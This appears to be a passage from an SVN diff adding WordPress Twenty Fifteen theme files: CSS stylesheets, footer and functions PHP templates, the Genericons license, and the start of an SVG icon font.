+	padding: 0.7188em 0;
+}
+
+.widget_categories .children,
+.widget_nav_menu .sub-menu,
+.widget_pages .children {
+	margin: 0.7188em 0 0 1em;
+	padding-top: 0.7188em;
+}
+
+.widget_rss li {
+	margin-bottom: 1.5em;
+}
+
+.widget_rss .rss-date,
+.widget_rss cite {
+	font-size: 13px;
+	line-height: 1.8462;
+}
+
+.widget .wp-caption-text,
+.widget .gallery-caption {
+	line-height: 1.5;
+	padding: 0.5em 0;
+}
+
+.hentry,
+.page-header,
+.page-content {
+	margin: 0 7.6923%;
+}
+
+.hentry + .hentry,
+.page-header + .hentry,
+.page-header + .page-content {
+	margin-top: 7.6923%;
+}
+
+.post-thumbnail {
+	margin-bottom: 2.9474em;
+}
+
+.entry-header {
+	padding: 0 9.0909%;
+}
+
+.entry-title {
+	font-size: 39px;
+	line-height: 1.2308;
+	margin-bottom: 1.2308em;
+}
+
+.entry-content,
+.entry-summary {
+	padding: 0 9.0909% 9.0909%;
+}
+
+.entry-content h1,
+.entry-summary h1,
+.page-content h1,
+.comment-content h1 {
+	font-size: 39px;
+	line-height: 1.2308;
+	margin-top: 1.641em;
+	margin-bottom: 0.8205em;
+}
+
+.entry-content h2,
+.entry-summary h2,
+.page-content h2,
+.comment-content h2 {
+	font-size: 32px;
+	line-height: 1.25;
+	margin-top: 2em;
+	margin-bottom: 1em;
+}
+
+.entry-content h3,
+.entry-summary h3,
+.page-content h3,
+.comment-content h3 {
+	font-size: 27px;
+	line-height: 1.1852;
+	margin-top: 2.3704em;
+	margin-bottom: 1.1852em;
+}
+
+.entry-content h4,
+.entry-summary h4,
+.page-content h4,
+.comment-content h4 {
+	font-size: 22px;
+	line-height: 1.4545;
+	margin-top: 2.9091em;
+	margin-bottom: 1.4545em;
+}
+
+.entry-content h5,
+.entry-content h6,
+.entry-summary h5,
+.entry-summary h6,
+.page-content h5,
+.page-content h6,
+.comment-content h5,
+.comment-content h6 {
+	font-size: 19px;
+	line-height: 1.2632;
+	margin-top: 3.3684em;
+	margin-bottom: 1.6842em;
+}
+
+.entry-content .more-link:after {
+	font-size: 24px;
+	top: 3px;
+}
+
+.author-info {
+	margin: 0 9.0909%;
+	padding: 9.0909% 0;
+}
+
+.author-info .avatar {
+	margin: 0 1.6842em 1.6842em 0;
+	width: 56px;
+	height: 56px;
+}
+
+.author-link:after {
+	font-size: 24px;
+	top: 0;
+}
+
+.entry-footer {
+	padding: 4.5454% 9.0909%;
+}
+
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before {
+	top: 4px;
+}
+
+.updated {
+	display: none;
+}
+
+.updated.published {
+	display: inline;
+}
+
+.page-header {
+	border-color: inherit;
+	border-style: solid;
+	border-width: 0 0 0 7px;
+	padding: 3.8461% 7.6923%;
+}
+
+.page-title,
+.taxonomy-description {
+	margin-left: -7px;
+}
+
+.taxonomy-description {
+	padding-top: 0.4211em;
+}
+
+.page-title,
+.comments-title,
+.comment-reply-title,
+.post-navigation .post-title {
+	font-size: 27px;
+	line-height: 1.1852;
+}
+
+.page-content {
+	padding: 7.6923%;
+}
+
+.page-links {
+	margin-bottom: 1.4736em;
+}
+
+.page-links a,
+.page-links > span {
+	margin: 0 0.25em 0.25em 0;
+}
+
+.format-aside .entry-title,
+.format-image .entry-title,
+.format-video .entry-title,
+.format-quote .entry-title,
+.format-gallery .entry-title,
+.format-status .entry-title,
+.format-link .entry-title,
+.format-audio .entry-title,
+.format-chat .entry-title {
+	font-size: 22px;
+	line-height: 1.4545;
+	margin-bottom: 32px;
+}
+
+.format-link .entry-title a:after {
+	top: 0.125em;
+}
+
+.comments-title {
+	margin-bottom: 1.4545em;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	padding: 1.6842em 0;
+}
+
+.comment-list + .comment-respond,
+.comment-navigation + .comment-respond {
+	padding-top: 1.6842em;
+}
+
+.comment-list .children > li {
+	padding-left: 1.4737em;
+}
+
+.comment-meta {
+	position: relative;
+}
+
+.comment-author {
+	margin-bottom: 0;
+	padding-left: 4.6315em;
+}
+
+.comment-author .avatar {
+	margin: 0;
+	position: absolute;
+	top: 3px;
+	left: 0;
+	width: 56px;
+	height: 56px;
+}
+
+.comment-metadata {
+	line-height: 2;
+	padding-left: 5.5em;
+}
+
+.comment-metadata .edit-link:before,
+.pingback .edit-link:before {
+	top: 8px;
+}
+
+.bypostauthor > article .fn:after {
+	top: 8px;
+	left: 6px;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 0 1.6842em 0;
+}
+
+.comment-content li > ul,
+.comment-content li > ol,
+.comment-content blockquote > ul,
+.comment-content blockquote > ol {
+	margin-left: 1.3333em;
+}
+
+.comment-list .reply a {
+	padding: 0.4375em 0.875em;
+}
+
+.comment-form,
+.no-comments {
+	padding-top: 1.6842em;
+}
+
+.comment-reply-title small a:before {
+	top: -1px;
+}
+
+.comment-list .reply {
+	margin-top: 0;
+}
+
+.site-footer {
+	border-top: 1px solid transparent;
+	border-bottom: 1px solid transparent;
+	margin: 0 auto;
+	max-width: 806px;
+	padding: 0;
+}
+
+.site-info {
+	margin: 4.5454% 9.0909%;
+}
+
+.post-navigation {
+	border-top: 0;
+	margin: 7.6923% 7.6923% 0;
+}
+
+.post-navigation a {
+	padding: 4.5454% 9.0909%;
+}
+
+.pagination {
+	border-top: 0;
+	margin: 7.6923% 7.6923% 0;
+	padding: 0;
+}
+
+.pagination .page-numbers {
+	display: inline-block;
+}
+
+.pagination .meta-nav {
+	display: none;
+}
+
+.image-navigation {
+	padding: 0 9.0909%;
+}
+
+.comments-area {
+	border-top: 0;
+	margin: 7.6923% 7.6923% 0;
+}
+
+embed,
+iframe,
+object,
+video {
+	margin-bottom: 1.6842em;
+}
+
+.wp-audio-shortcode,
+.wp-video,
+.wp-playlist.wp-audio-playlist {
+	font-size: 19px;
+	margin-bottom: 1.6842em;
+}
+
+.wp-caption,
+.gallery {
+	margin-bottom: 1.6842em;
+}
+
+.wp-caption-text,
+.gallery-caption {
+	padding: 0.5em 0;
+}
+
+
+/**
+ * RTL
+ */
+
+.rtl ul,
+.rtl ol {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl li > ul,
+.rtl li > ol,
+.rtl blockquote > ul,
+.rtl blockquote > ol {
+	margin-right: 1.3333em;
+	margin-left: auto;
+}
+
+.rtl blockquote {
+	border-width: 0 4px 0 0;
+	margin-right: -1.0909em;
+	margin-left: auto;
+	padding-right: 0.9091em;
+	padding-left: 0;
+}
+
+.rtl blockquote > blockquote {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl .main-navigation ul ul {
+	margin-right: 1em;
+	margin-left: auto;
+}
+
+.rtl .main-navigation .page_item_has_children > a,
+.rtl .main-navigation .main-navigation .menu-item-has-children > a {
+	padding-right: 0;
+	padding-left: 53px;
+}
+
+.rtl .secondary-toggle {
+	right: auto;
+	left: 7.6897%;
+}
+
+.rtl .image-navigation .nav-previous,
+.rtl .comment-navigation .nav-previous {
+	float: right;
+}
+
+.rtl .image-navigation .nav-next,
+.rtl .comment-navigation .nav-next {
+	float: left;
+	text-align: left;
+}
+
+.rtl blockquote.alignright,
+.rtl .wp-caption.alignright
+.rtl img.alignright {
+	margin: 0.4211em 0 1.6842em 1.6842em;
+}
+
+.rtl blockquote.alignleft,
+.rtl .wp-caption.alignleft,
+.rtl img.alignleft {
+	margin: 0.4211em 1.6842em 1.6842em 0;
+}
+
+.rtl .widget blockquote {
+	margin-right: -1.2632em;
+	margin-left: auto;
+	padding-right: 1.0526em;
+	padding-left: 0;
+}
+
+.rtl .widget blockquote > blockquote {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl .widget_categories .children,
+.rtl .widget_nav_menu .sub-menu,
+.rtl .widget_pages .children {
+	margin: 0.7188em 1em 0 0;
+}
+
+.rtl .page-links a,
+.rtl .page-links > span {
+	margin: 0 0 0.25em 0.25em;
+}
+
+.rtl .author-info .avatar {
+	margin: 0 0 1.6842em 1.6842em;
+}
+
+.rtl .page-header {
+	border-width: 0 7px 0 0;
+}
+
+.rtl .page-title,
+.rtl .taxonomy-description {
+	margin-right: -7px;
+	margin-left: auto;
+}
+
+.rtl .comment-list .children > li {
+	padding-right: 1.4737em;
+	padding-left: 0;
+}
+
+.rtl .comment-author {
+	padding-right: 4.6315em;
+	padding-left: 0;
+}
+
+.rtl .comment-author .avatar {
+	right: 0;
+	left: auto;
+}
+
+.rtl .comment-content ul,
+.rtl .comment-content ol {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl .comment-content li > ul,
+.rtl .comment-content li > ol,
+.rtl .comment-content blockquote > ul,
+.rtl .comment-content blockquote > ol {
+	margin-right: 1.3333em;
+	margin-left: auto;
+}
+
+.rtl .comment-metadata {
+	padding-right: 5.5em;
+	padding-left: 0;
+}
+
+.rtl .bypostauthor > article .fn:after {
+	right: 6px;
+	left: auto;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/ie7.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/ie7.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/css/ie7.css	(revision 33402)
@@ -0,0 +1,89 @@
+/*
+Theme Name: Twenty Fifteen
+Description: IE7 specific style.
+*/
+
+.screen-reader-text {
+	clip: rect(1px 1px 1px 1px);
+}
+
+.secondary-toggle {
+	color: #333;
+	font-size: 16px;
+	line-height: 60px;
+	width: auto;
+}
+
+.pagination .prev,
+.pagination .next {
+	font-size: 16px;
+	font-weight: 700;
+	line-height: 64px;
+	padding: 0 19px;
+	width: auto;
+}
+
+.image-navigation,
+.comment-navigation {
+	width: 662px;
+}
+
+.post-navigation {
+	text-align: left;
+}
+
+.site-main {
+	text-align: center;
+}
+
+.hentry {
+	margin-bottom: 7.6923%;
+	text-align: left;
+	width: 808px;
+}
+
+.page-header {
+	margin-bottom: 7.6923%;
+	text-align: left;
+}
+
+.comments-area {
+	text-align: left;
+}
+
+.comment-list,
+.comment-navigation {
+	margin-bottom: 1.6471em;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 31%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 22%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 17%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 13.5%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 11%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 9.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 8%;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/footer.php	(revision 33402)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains the closing of the "site-content" div and all content after.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+	</div><!-- .site-content -->
+
+	<footer id="colophon" class="site-footer" role="contentinfo">
+		<div class="site-info">
+			<?php
+				/**
+				 * Fires before the Twenty Fifteen footer text for footer customization.
+				 *
+				 * @since Twenty Fifteen 1.0
+				 */
+				do_action( 'twentyfifteen_credits' );
+			?>
+			<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentyfifteen' ) ); ?>"><?php printf( __( 'Proudly powered by %s', 'twentyfifteen' ), 'WordPress' ); ?></a>
+		</div><!-- .site-info -->
+	</footer><!-- .site-footer -->
+
+</div><!-- .site -->
+
+<?php wp_footer(); ?>
+
+</body>
+</html>
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/functions.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/functions.php	(revision 33402)
@@ -0,0 +1,331 @@
+<?php
+/**
+ * Twenty Fifteen functions and definitions
+ *
+ * Set up the theme and provides some helper functions, which are used in the
+ * theme as custom template tags. Others are attached to action and filter
+ * hooks in WordPress to change core functionality.
+ *
+ * When using a child theme you can override certain functions (those wrapped
+ * in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before
+ * the parent theme's file, so the child theme functions would be used.
+ *
+ * @link https://codex.wordpress.org/Theme_Development
+ * @link https://codex.wordpress.org/Child_Themes
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are
+ * instead attached to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters,
+ * {@link https://codex.wordpress.org/Plugin_API}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Set the content width based on the theme's design and stylesheet.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+if ( ! isset( $content_width ) ) {
+	$content_width = 660;
+}
+
+/**
+ * Twenty Fifteen only works in WordPress 4.1 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '4.1-alpha', '<' ) ) {
+	require get_template_directory() . '/inc/back-compat.php';
+}
+
+if ( ! function_exists( 'twentyfifteen_setup' ) ) :
+/**
+ * Sets up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which
+ * runs before the init hook. The init hook is too late for some features, such
+ * as indicating support for post thumbnails.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_setup() {
+
+	/*
+	 * Make theme available for translation.
+	 * Translations can be filed in the /languages/ directory.
+	 * If you're building a theme based on twentyfifteen, use a find and replace
+	 * to change 'twentyfifteen' to the name of your theme in all the template files
+	 */
+	load_theme_textdomain( 'twentyfifteen', get_template_directory() . '/languages' );
+
+	// Add default posts and comments RSS feed links to head.
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Let WordPress manage the document title.
+	 * By adding theme support, we declare that this theme does not use a
+	 * hard-coded <title> tag in the document head, and expect WordPress to
+	 * provide it for us.
+	 */
+	add_theme_support( 'title-tag' );
+
+	/*
+	 * Enable support for Post Thumbnails on posts and pages.
+	 *
+	 * See: https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
+	 */
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 825, 510, true );
+
+	// This theme uses wp_nav_menu() in two locations.
+	register_nav_menus( array(
+		'primary' => __( 'Primary Menu',      'twentyfifteen' ),
+		'social'  => __( 'Social Links Menu', 'twentyfifteen' ),
+	) );
+
+	/*
+	 * Switch default core markup for search form, comment form, and comments
+	 * to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
+	) );
+
+	/*
+	 * Enable support for Post Formats.
+	 *
+	 * See: https://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat'
+	) );
+
+	$color_scheme  = twentyfifteen_get_color_scheme();
+	$default_color = trim( $color_scheme[0], '#' );
+
+	// Setup the WordPress core custom background feature.
+	add_theme_support( 'custom-background', apply_filters( 'twentyfifteen_custom_background_args', array(
+		'default-color'      => $default_color,
+		'default-attachment' => 'fixed',
+	) ) );
+
+	/*
+	 * This theme styles the visual editor to resemble the theme style,
+	 * specifically font, colors, icons, and column width.
+	 */
+	add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', twentyfifteen_fonts_url() ) );
+}
+endif; // twentyfifteen_setup
+add_action( 'after_setup_theme', 'twentyfifteen_setup' );
+
+/**
+ * Register widget area.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @link https://codex.wordpress.org/Function_Reference/register_sidebar
+ */
+function twentyfifteen_widgets_init() {
+	register_sidebar( array(
+		'name'          => __( 'Widget Area', 'twentyfifteen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Add widgets here to appear in your sidebar.', 'twentyfifteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+}
+add_action( 'widgets_init', 'twentyfifteen_widgets_init' );
+
+if ( ! function_exists( 'twentyfifteen_fonts_url' ) ) :
+/**
+ * Register Google fonts for Twenty Fifteen.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return string Google fonts URL for the theme.
+ */
+function twentyfifteen_fonts_url() {
+	$fonts_url = '';
+	$fonts     = array();
+	$subsets   = 'latin,latin-ext';
+
+	/* translators: If there are characters in your language that are not supported by Noto Sans, translate this to 'off'. Do not translate into your own language. */
+	if ( 'off' !== _x( 'on', 'Noto Sans font: on or off', 'twentyfifteen' ) ) {
+		$fonts[] = 'Noto Sans:400italic,700italic,400,700';
+	}
+
+	/* translators: If there are characters in your language that are not supported by Noto Serif, translate this to 'off'. Do not translate into your own language. */
+	if ( 'off' !== _x( 'on', 'Noto Serif font: on or off', 'twentyfifteen' ) ) {
+		$fonts[] = 'Noto Serif:400italic,700italic,400,700';
+	}
+
+	/* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */
+	if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentyfifteen' ) ) {
+		$fonts[] = 'Inconsolata:400,700';
+	}
+
+	/* translators: To add an additional character subset specific to your language, translate this to 'greek', 'cyrillic', 'devanagari' or 'vietnamese'. Do not translate into your own language. */
+	$subset = _x( 'no-subset', 'Add new subset (greek, cyrillic, devanagari, vietnamese)', 'twentyfifteen' );
+
+	if ( 'cyrillic' == $subset ) {
+		$subsets .= ',cyrillic,cyrillic-ext';
+	} elseif ( 'greek' == $subset ) {
+		$subsets .= ',greek,greek-ext';
+	} elseif ( 'devanagari' == $subset ) {
+		$subsets .= ',devanagari';
+	} elseif ( 'vietnamese' == $subset ) {
+		$subsets .= ',vietnamese';
+	}
+
+	if ( $fonts ) {
+		$fonts_url = add_query_arg( array(
+			'family' => urlencode( implode( '|', $fonts ) ),
+			'subset' => urlencode( $subsets ),
+		), '//fonts.googleapis.com/css' );
+	}
+
+	return $fonts_url;
+}
+endif;
+
+/**
+ * Enqueue scripts and styles.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_scripts() {
+	// Add custom fonts, used in the main stylesheet.
+	wp_enqueue_style( 'twentyfifteen-fonts', twentyfifteen_fonts_url(), array(), null );
+
+	// Add Genericons, used in the main stylesheet.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.2' );
+
+	// Load our main stylesheet.
+	wp_enqueue_style( 'twentyfifteen-style', get_stylesheet_uri() );
+
+	// Load the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentyfifteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfifteen-style' ), '20141010' );
+	wp_style_add_data( 'twentyfifteen-ie', 'conditional', 'lt IE 9' );
+
+	// Load the Internet Explorer 7 specific stylesheet.
+	wp_enqueue_style( 'twentyfifteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentyfifteen-style' ), '20141010' );
+	wp_style_add_data( 'twentyfifteen-ie7', 'conditional', 'lt IE 8' );
+
+	wp_enqueue_script( 'twentyfifteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20141010', true );
+
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
+		wp_enqueue_script( 'comment-reply' );
+	}
+
+	if ( is_singular() && wp_attachment_is_image() ) {
+		wp_enqueue_script( 'twentyfifteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20141010' );
+	}
+
+	wp_enqueue_script( 'twentyfifteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20141212', true );
+	wp_localize_script( 'twentyfifteen-script', 'screenReaderText', array(
+		'expand'   => '<span class="screen-reader-text">' . __( 'expand child menu', 'twentyfifteen' ) . '</span>',
+		'collapse' => '<span class="screen-reader-text">' . __( 'collapse child menu', 'twentyfifteen' ) . '</span>',
+	) );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_scripts' );
+
+/**
+ * Add featured image as background image to post navigation elements.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentyfifteen_post_nav_background() {
+	if ( ! is_single() ) {
+		return;
+	}
+
+	$previous = ( is_attachment() ) ? get_post( get_post()->post_parent ) : get_adjacent_post( false, '', true );
+	$next     = get_adjacent_post( false, '', false );
+	$css      = '';
+
+	if ( is_attachment() && 'attachment' == $previous->post_type ) {
+		return;
+	}
+
+	if ( $previous &&  has_post_thumbnail( $previous->ID ) ) {
+		$prevthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $previous->ID ), 'post-thumbnail' );
+		$css .= '
+			.post-navigation .nav-previous { background-image: url(' . esc_url( $prevthumb[0] ) . '); }
+			.post-navigation .nav-previous .post-title, .post-navigation .nav-previous a:hover .post-title, .post-navigation .nav-previous .meta-nav { color: #fff; }
+			.post-navigation .nav-previous a:before { background-color: rgba(0, 0, 0, 0.4); }
+		';
+	}
+
+	if ( $next && has_post_thumbnail( $next->ID ) ) {
+		$nextthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $next->ID ), 'post-thumbnail' );
+		$css .= '
+			.post-navigation .nav-next { background-image: url(' . esc_url( $nextthumb[0] ) . '); }
+			.post-navigation .nav-next .post-title, .post-navigation .nav-next a:hover .post-title, .post-navigation .nav-next .meta-nav { color: #fff; }
+			.post-navigation .nav-next a:before { background-color: rgba(0, 0, 0, 0.4); }
+		';
+	}
+
+	wp_add_inline_style( 'twentyfifteen-style', $css );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_post_nav_background' );
+
+/**
+ * Display descriptions in main navigation.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string  $item_output The menu item output.
+ * @param WP_Post $item        Menu item object.
+ * @param int     $depth       Depth of the menu.
+ * @param array   $args        wp_nav_menu() arguments.
+ * @return string Menu item with possible description.
+ */
+function twentyfifteen_nav_description( $item_output, $item, $depth, $args ) {
+	if ( 'primary' == $args->theme_location && $item->description ) {
+		$item_output = str_replace( $args->link_after . '</a>', '<div class="menu-item-description">' . $item->description . '</div>' . $args->link_after . '</a>', $item_output );
+	}
+
+	return $item_output;
+}
+add_filter( 'walker_nav_menu_start_el', 'twentyfifteen_nav_description', 10, 4 );
+
+/**
+ * Add a `screen-reader-text` class to the search form's submit button.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string $html Search form HTML.
+ * @return string Modified search form HTML.
+ */
+function twentyfifteen_search_form_modify( $html ) {
+	return str_replace( 'class="search-submit"', 'class="search-submit screen-reader-text"', $html );
+}
+add_filter( 'get_search_form', 'twentyfifteen_search_form_modify' );
+
+/**
+ * Implement the Custom Header feature.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+require get_template_directory() . '/inc/custom-header.php';
+
+/**
+ * Custom template tags for this theme.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+require get_template_directory() . '/inc/template-tags.php';
+
+/**
+ * Customizer additions.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+require get_template_directory() . '/inc/customizer.php';
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/COPYING.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/COPYING.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/COPYING.txt	(revision 33402)
@@ -0,0 +1,9 @@
+Genericons is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+The fonts are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
+
+This license does not convey any intellectual property rights to third party trademarks that may be included in the icon font; such marks remain subject to all rights and guidelines of use of their owner.
Index: /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/Genericons.svg
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/Genericons.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfifteen/genericons/Genericons.svg	(revision 33402)
@@ -0,0 +1,543 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<!--
+2014-10-3: Created.
+-->
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata>
+Created by FontForge 20120731 at Fri Oct  3 09:39:07 2014
+ By Joen
+Created by Joen with FontForge 2.0 (http://fontforge.sf.net)
+</metadata>
+<defs>
+<font id="Genericons" horiz-adv-x="2048" >
+  <font-face 
+    font-family="Genericons"
+    font-weight="500"
+    font-stretch="normal"
+    units-per-em="2048"
+    panose-1="2 0 6 9 0 0 0 0 0 0"
+    ascent="2048"
+    descent="0"
+    bbox="-0.0140489 0 2048.01 2048"
+    underline-thickness="102.4"
+    underline-position="-204.8"
+    unicode-range="U+F100-F517"
+  />
+    <missing-glyph />
+    <glyph glyph-name="uniF413" unicode="&#xf413;" 
+d="M256 1280c565.504 0 1024 -458.496 1024 -1024h-256c0 423.552 -344.448 768 -768 768v256zM256 1792c848.256 0 1536 -687.744 1536 -1536h-256c0 705.792 -574.208 1280 -1280 1280v256zM448 640c106.112 0 192 -86.0156 192 -192s-85.8877 -192 -192 -192
+s-192 86.0156 -192 192s85.8877 192 192 192z" />
+    <glyph glyph-name="uniF462" unicode="&#xf462;" 
+d="M618.502 1337l-213.004 142.004l-303.335 -455.002l303.335 -455.002l213.004 142.004l-208.665 312.998zM1642.5 1479l-213.004 -142.004l208.665 -312.998l-208.665 -312.998l213.004 -142.004l303.335 455.002zM771.821 543.045l248.357 -62.0898l256 1024
+l-248.357 62.0898z" />
+    <glyph glyph-name="uniF457" unicode="&#xf457;" 
+d="M1024 1792c424.064 0 768 -343.936 768 -768s-343.936 -768 -768 -768c-424.192 0 -768 343.936 -768 768s343.808 768 768 768zM1024 512c70.6562 0 128 57.4717 128 128s-57.3438 128 -128 128c-70.7842 0 -128 -57.4717 -128 -128s57.2158 -128 128 -128z
+M1342.72 1155.84c24.832 38.9121 37.248 85.1201 37.1201 138.752c0 74.4961 -27.6475 133.504 -83.7119 176.641c-55.9355 43.2637 -133.632 64.7676 -231.936 64.7676c-119.809 0 -234.496 -31.2324 -344.32 -93.9521l91.9043 -180.096
+c89.2158 47.2314 167.168 70.9121 233.983 70.9121c26.752 0 48.5127 -5.37598 65.2803 -16.2559c17.2803 -10.752 25.4717 -25.4727 25.4717 -44.0322c0 -23.2959 -8.06348 -44.0322 -23.5518 -62.208c-16 -18.0479 -41.4717 -38.4004 -77.1836 -60.9277
+c-45.1846 -28.1602 -76.416 -57.0889 -94.3359 -87.04c-17.5361 -29.6963 -26.3682 -66.4326 -26.3682 -109.44v-56.96h203.647v34.0479c0 18.6885 5.50391 35.2002 17.2803 48.8965c12.0322 14.0801 40.96 36.0957 86.9121 66.0479
+c55.04 34.8154 94.5918 71.6797 119.808 110.848z" />
+    <glyph glyph-name="uniF403" unicode="&#xf403;" 
+d="M1541.38 1530.62l506.624 -506.624l-506.624 -506.624c-131.456 -134.272 -314.752 -217.728 -517.376 -217.728c-202.752 0 -386.048 83.4551 -517.504 217.983l-506.496 506.368v0l506.496 506.496c131.456 134.4 314.624 217.984 517.504 217.984
+c202.752 0 385.92 -83.584 517.376 -217.856zM1404.42 651.776l372.096 372.224l-370.943 370.944c-102.528 104.704 -237.568 161.536 -381.568 161.536c-144.128 0 -279.168 -56.9609 -380.288 -160.385l-372.096 -372.096l370.688 -370.56
+c102.528 -104.96 237.696 -161.792 381.824 -161.792c144 0 279.168 56.832 380.288 160.128zM1408 1024zM640 1024c0 212.096 172.032 384 384 384s384 -171.904 384 -384c0 -211.968 -172.032 -384 -384 -384s-384 172.032 -384 384zM768 1152
+c0 -70.6562 57.2158 -128 128 -128c70.6562 0 128 57.3438 128 128s-57.3438 128 -128 128c-70.7842 0 -128 -57.3438 -128 -128z" />
+    <glyph glyph-name="uniF505" unicode="&#xf505;" 
+d="M256 1408v256h256v-256h-256zM768 1664h1024v-256h-1024v256zM256 896v256h256v-256h-256zM1408 1152v-256h-640v256h640zM256 384v256h256v-256h-256zM768 384v256h896v-256h-896z" />
+    <glyph glyph-name="uniF50F" unicode="&#xf50f;" 
+d="M1920 1024l-384 -384v256h-384v-384h256l-384 -384l-384 384h256v384h-384v-256l-384 384l384 384v-256h384v384h-256l384 384l384 -384h-256v-384h384v256z" />
+    <glyph glyph-name="uniF307" unicode="&#xf307;" 
